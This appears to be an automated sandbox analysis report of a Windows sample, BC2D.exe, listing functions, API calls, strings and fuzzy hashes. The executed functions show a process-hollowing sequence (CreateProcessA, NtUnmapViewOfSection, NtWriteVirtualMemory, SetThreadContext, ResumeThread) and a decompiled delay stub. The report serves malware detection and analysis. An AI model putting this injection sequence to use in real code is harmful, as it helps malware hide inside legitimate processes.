9, xrefs: 0042AF94
', xrefs: 0042AD2A

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction ID: 9a77229bde6b69c66853860460d2c48f53c32429bc45046737979d96ff803d6c
Opcode Fuzzy Hash: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction Fuzzy Hash: F94135B1E50129DFDB24CF48E981BAEB7B5FF85314F40409AE648AB241D3385E91CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BEB9, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

', xrefs: 0042BEB9
9, xrefs: 0042C123

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction ID: e388e6676921d162dbd2d1bb8be74de073d465acfb0c8b88bdb5f01d06445442
Opcode Fuzzy Hash: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction Fuzzy Hash: 894116B1E10129DFDB24CF88D981BAEB7B5FF85314F40419AE249A7241C3385E85CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0043EF33, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043EF80
__invalid_parameter.LIBCMTD ref: 0043F00D

Strings

_wcstombs_s_l, xrefs: 0043F003
bufferSize <= INT_MAX, xrefs: 0043EFC5, 0043F008
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043EFD1, 0043EFFE

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 51c90df4d0b8674ec02addc1503dd8a7780dbe8482b2f13ba8730c5129d874c3
Instruction ID: a0357ad04e8e6c55894bd9b7a4213b9ceae635ff8b5e815f74866a2a30b2233b
Opcode Fuzzy Hash: 51c90df4d0b8674ec02addc1503dd8a7780dbe8482b2f13ba8730c5129d874c3
Instruction Fuzzy Hash: EC21BD70A01249EBDF24DF48DC41BAE77B1BB48318F20062AF8246A3C1D3B9AD51CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD17, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

9, xrefs: 0042AF94

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction ID: 323333c560474969a9dde8a6ccce78d16e5640eaa759866be20c99d924b387ac
Opcode Fuzzy Hash: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction Fuzzy Hash: 6A4147B1E50129DFDB24CF48E981BAEB7B5FF85314F40409AE648AB241C3385E95CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BEA6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction ID: dcd444d96e5002ef4ce124125922dabaa8bd39108ab83f2cfbabfa820e829b64
Opcode Fuzzy Hash: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction Fuzzy Hash: F54127B0E10129DFDB24CF88D881BAEB7B4FF85314F40419AE249A7241C3385E85CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD65, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

9, xrefs: 0042AF94

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction ID: b820b80d32eca16881bfb5f23332d830fdbca235616d7c39373246384bc50610
Opcode Fuzzy Hash: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction Fuzzy Hash: 664125B1E501299FDB24CF48DD81BAEB7B5FF85314F40419AE648AB241C7385E91CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BEF4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction ID: 85df21a26e183048b5920a2902a14038bc989046deada2c48957281ccb6816f6
Opcode Fuzzy Hash: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction Fuzzy Hash: C741F4B1A10529DFDB24CF88DD81BAEB7B5FF85314F40419AE249A7241C7385E85CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0043CFCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

9, xrefs: 0043D1F8

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 4602320b2b10fef33d173d86231321ec4dc30d3471c26b4068e238b8e0ee86c7
Instruction ID: 9c2d41a62ec7d395be17c5fb9c40569e66967507eec4dfd598683656f0d90ccb
Opcode Fuzzy Hash: 4602320b2b10fef33d173d86231321ec4dc30d3471c26b4068e238b8e0ee86c7
Instruction Fuzzy Hash: 0441C1B1D05629DFEF64CF98DC89BAEB7B5FB48304F10959AE019A7240C7389A81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD0E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
_get_int64_arg.LIBCMTD ref: 0042ADB9
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

9, xrefs: 0042AF94

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction ID: 632a2296649fa586c140e0a4c9cfa34e94b5e91d3d1e49d66cfb6db3adf69d09
Opcode Fuzzy Hash: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction Fuzzy Hash: AE4134B1E40129DFDB24CF48E981BAEB7B5FB85314F4040DAE648A7201C3385E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BE9D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
_get_int64_arg.LIBCMTD ref: 0042BF48
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction ID: 701fcb4708df9d6c7f3e84f8745f3ae27057e8d3f26f1e06339554d4cf7e82ad
Opcode Fuzzy Hash: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction Fuzzy Hash: BE41F4B1A10129DFDB24CF88D981BAEB7B5FF85314F50419AE249A7201C7385E85CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF7B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
_get_int64_arg.LIBCMTD ref: 0043D020
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

9, xrefs: 0043D1F8

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: e71fad07551fe97445816274755553b0e46363e736280db784c5db9cb4ade78d
Instruction ID: c66e8b3e918375886cfdc95ac91cd4dee2bf205cfefd83de3ccd37bf4ec890a6
Opcode Fuzzy Hash: e71fad07551fe97445816274755553b0e46363e736280db784c5db9cb4ade78d
Instruction Fuzzy Hash: C141B0B1E05629DFDF64DF58DC89BAEB7B5BB48304F20959AE009A7240C7389A81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043E9C6, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043EA27

Strings

pwcs != NULL, xrefs: 0043E9E5, 0043EA22
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043E9EE, 0043EA18
_wcstombs_l_helper, xrefs: 0043EA1D

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: e7d9262e9efa2bdd0f71a3b467dfbda882b36f957f009c4ac88fa3c6b9b06c32
Instruction ID: 26772ab7a67b98479d1f334880ccf3fe4c15837594e72ef76a695bf39450673d
Opcode Fuzzy Hash: e7d9262e9efa2bdd0f71a3b467dfbda882b36f957f009c4ac88fa3c6b9b06c32
Instruction Fuzzy Hash: 52F0AF30B80218AADB206A61EC07F5F72617B18729F60162BB416351C2C7FE6AA4865E

Uniqueness

Uniqueness Score: -1.00%

Function 0043EEA5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043EF1B

Strings

_wcstombs_s_l, xrefs: 0043EF11
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 0043EED3, 0043EF16
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043EEDF, 0043EF0C

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 2f1010dbe40109fd78364fa54a142c686d6e8079e174eadf1ee8cae0a7c63fe6
Instruction ID: 12c17949876b9aee5e4fd9642796655b05c5f699e1d8bf71b9808992aafe1a4f
Opcode Fuzzy Hash: 2f1010dbe40109fd78364fa54a142c686d6e8079e174eadf1ee8cae0a7c63fe6
Instruction Fuzzy Hash: B4018670E413199AEF206E42EC07BAB7270BB1471AF11182BE414352C2D3FD5E94CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0041D314, Relevance: 6.0, APIs: 4, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

__wcstombs_l.LIBCMTD ref: 0041D332

Part of subcall function 00420230: new.LIBCPMTD ref: 00420245

std::exception::exception.LIBCMTD ref: 0041D356
__CxxThrowException@8.LIBCMTD ref: 0041D36B
std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041D378

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: Exception@8Ios_base_dtorThrow__wcstombs_lstd::exception::exceptionstd::ios_base::_
String ID:
API String ID: 216078729-0
Opcode ID: db51481d8e0254b9247fa03381bfa6318b1afc3e80c4bd2f0fbb406ed4fdbd4f
Instruction ID: 6c90a586d5a5b9982c33abc5383c997f396f5e8ef0da64ef12e1b4411dc674b4
Opcode Fuzzy Hash: db51481d8e0254b9247fa03381bfa6318b1afc3e80c4bd2f0fbb406ed4fdbd4f
Instruction Fuzzy Hash: 95F0F6F2D0012866CB00AA65A845BCE77AC9B10354FA48257FC14A20D1CBB85654C6FE

Uniqueness

Uniqueness Score: -1.00%

Function 0041D8E5, Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041D8EA
std::_Mutex::_Mutex.LIBCPMTD ref: 0041D8FF

Part of subcall function 00420AD0: new.LIBCPMTD ref: 00420AEA

new.LIBCPMTD ref: 0041D917

Part of subcall function 00420180: __malloc_dbg.LIBCMTD ref: 0042019A
Part of subcall function 00420180: std::bad_alloc::bad_alloc.LIBCMTD ref: 004201C8
Part of subcall function 00420180: _atexit.LIBCMTD ref: 004201D2
Part of subcall function 00420180: __CxxThrowException@8.LIBCMTD ref: 004201F0

std::locale::locale.LIBCPMT ref: 0041D925

Part of subcall function 0041D277: std::locale::_Init.LIBCPMTD ref: 0041D27A
Part of subcall function 0041D277: std::locale::facet::_Incref.LIBCPMT ref: 0041D288

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: Exception@8H_prologIncrefInitMutexMutex::_Throw__malloc_dbg_atexitstd::_std::bad_alloc::bad_allocstd::locale::_std::locale::facet::_std::locale::locale
String ID:
API String ID: 96588900-0
Opcode ID: 6e5aa7651f223c85440152df45ede64ff0ae8bc58a1ee3f70b9cfce84e78eb12
Instruction ID: 223aecbf5bd4f08f99c200cd9ab8f8de26fa249f2f459b9cf01718b463a8b873
Opcode Fuzzy Hash: 6e5aa7651f223c85440152df45ede64ff0ae8bc58a1ee3f70b9cfce84e78eb12
Instruction Fuzzy Hash: 6CF089F1F103209ADB146BB59942BBE72E49B04714F50495FB512E3682DBFC9940865D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BC2D.exe PID: 2740 Parent PID: 3424 BC2D.exeCOMMON

Execution Graph

Execution Coverage:	18.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	40
Total number of Limit Nodes:	7

Executed Functions

Function 00540110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00540156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0054016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00540255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00540270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00540283
GetThreadContext.KERNELBASE(00000000,?), ref: 0054029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005402E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00540304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0054032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00540399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005403BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005403E1
ResumeThread.KERNELBASE(00000000), ref: 005403ED
ExitProcess.KERNEL32(00000000), ref: 00540412

Memory Dump Source

Source File: 00000013.00000002.795534361.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_540000_BC2D.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 3dfb4c8af88f500584b3aaebfe67b33d348b7c29fb0b0a8c3b594a822a812b77
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3BB1B674A00209AFDB44CF98C895F9EBBB5BF88314F248158E609AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00540630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005406E2

Strings

VirtualAlloc, xrefs: 00540AC1, 00540AC7
WriteFile, xrefs: 005408CD, 005408D0
WinExec, xrefs: 00540820, 00540823
VirtualProtectEx, xrefs: 005414E9, 005414EF
CreateWindowExA, xrefs: 0054123E, 00541244
user32, xrefs: 005406DB, 005406E1
NtUnmapViewOfSection, xrefs: 00541085, 0054108B
RegisterClassExA, xrefs: 005411B7, 005411BD
kernel32, xrefs: 005407ED, 005407F3
MessageBoxA, xrefs: 005406EE, 005406F4
NtWriteVirtualMemory, xrefs: 0054112C, 00541132
WaitForSingleObject, xrefs: 00540E95, 00540E9B
VirtualAllocEx, xrefs: 00540B44, 00540B4A
VirtualFree, xrefs: 00540BB2, 00540BB8
DefWindowProcA, xrefs: 00541374, 0054137A
CreateProcessA, xrefs: 005409BB, 005409C1
ResumeThread, xrefs: 00540DEF, 00540DF5
CloseHandle, xrefs: 00540938, 0054093E
GetMessageExtraInfo, xrefs: 00540794, 0054079A
ExitProcess, xrefs: 00541554, 0054155A
WriteProcessMemory, xrefs: 00540CE9, 00540CEF
PostMessageA, xrefs: 005412B0, 005412B6
GetThreadContext, xrefs: 00540A4C, 00540A52
GetModuleFileNameA, xrefs: 00540EFB, 00540EFE
SetThreadContext, xrefs: 00540D7A, 00540D80
ntdll.dll, xrefs: 00540FE2, 00540FE8
GetMessageA, xrefs: 005412F7, 005412FA
GetStartupInfoA, xrefs: 0054145B, 00541461
ReadProcessMemory, xrefs: 00540C4A, 00540C50
GetFileAttributesA, xrefs: 005413D7, 005413DA
CreateFileA, xrefs: 0054088B, 00540891
GetCommandLineA, xrefs: 00540F82, 00540F88

Memory Dump Source

Source File: 00000013.00000002.795534361.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_540000_BC2D.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 2ef0e5aae1d8e8b9082dca018b137d56e19fe8d8be4b1f02a889d7881b6e037f
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: F6A25460D0C6E9C9EB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00540420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00540533

Strings

0, xrefs: 00540492
mfoaskdfnoa, xrefs: 00540520, 00540523
saodkfnosa9uin, xrefs: 005404DA
d, xrefs: 00540584

Memory Dump Source

Source File: 00000013.00000002.795534361.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_540000_BC2D.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 14c301c4100ab25b2b6e9843a01134393069d371a06f26d66fb5ef35e5d92293
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D1511870D08388DAEB11CBE8C849BDDBFB2AF15708F244058D5447F2C6C3BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 005405B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005405EC

Strings

apfHQ, xrefs: 005405E2, 005405E5
o, xrefs: 00540600

Memory Dump Source

Source File: 00000013.00000002.795534361.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_540000_BC2D.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: fdeafc9fd1666285ab03c3717686921e8d14afc21d2fb3c05ce19df5b74c5218
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: A6011E70C0424CEADF14DB98C5183EEBFB5AF41308F248099C5492B282D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00765FE4, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0076602C

Memory Dump Source

Source File: 00000013.00000002.795718500.0000000000761000.00000040.00000001.sdmp, Offset: 00761000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_761000_BC2D.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1ae92f041b84e2d68c42fe8b8adebd1277edae82a3a64bf9e0714b6fc5d9a212
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 59F0C231100B117BD7203BB5D88CEAA76ECAF58725F500528EA43914C0DA74E8058660

Uniqueness

Uniqueness Score: -1.00%

Function 00765CA3, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00765CF4

Memory Dump Source

Source File: 00000013.00000002.795718500.0000000000761000.00000040.00000001.sdmp, Offset: 00761000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_761000_BC2D.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 71ff70eec5f37bcb7fe8c248c4e35bfbeec4d07c8609fc1cafb86b752fb6df13
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: BC113C79A00208EFDB01DF98C989E98BBF5EF08350F058094F9489B362D375EA50EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: BC2D.exe PID: 4100 Parent PID: 2740 BC2D.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000014.00000002.810020170.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_BC2D.jbxd

Similarity

API ID: ProcessSleepTerminate
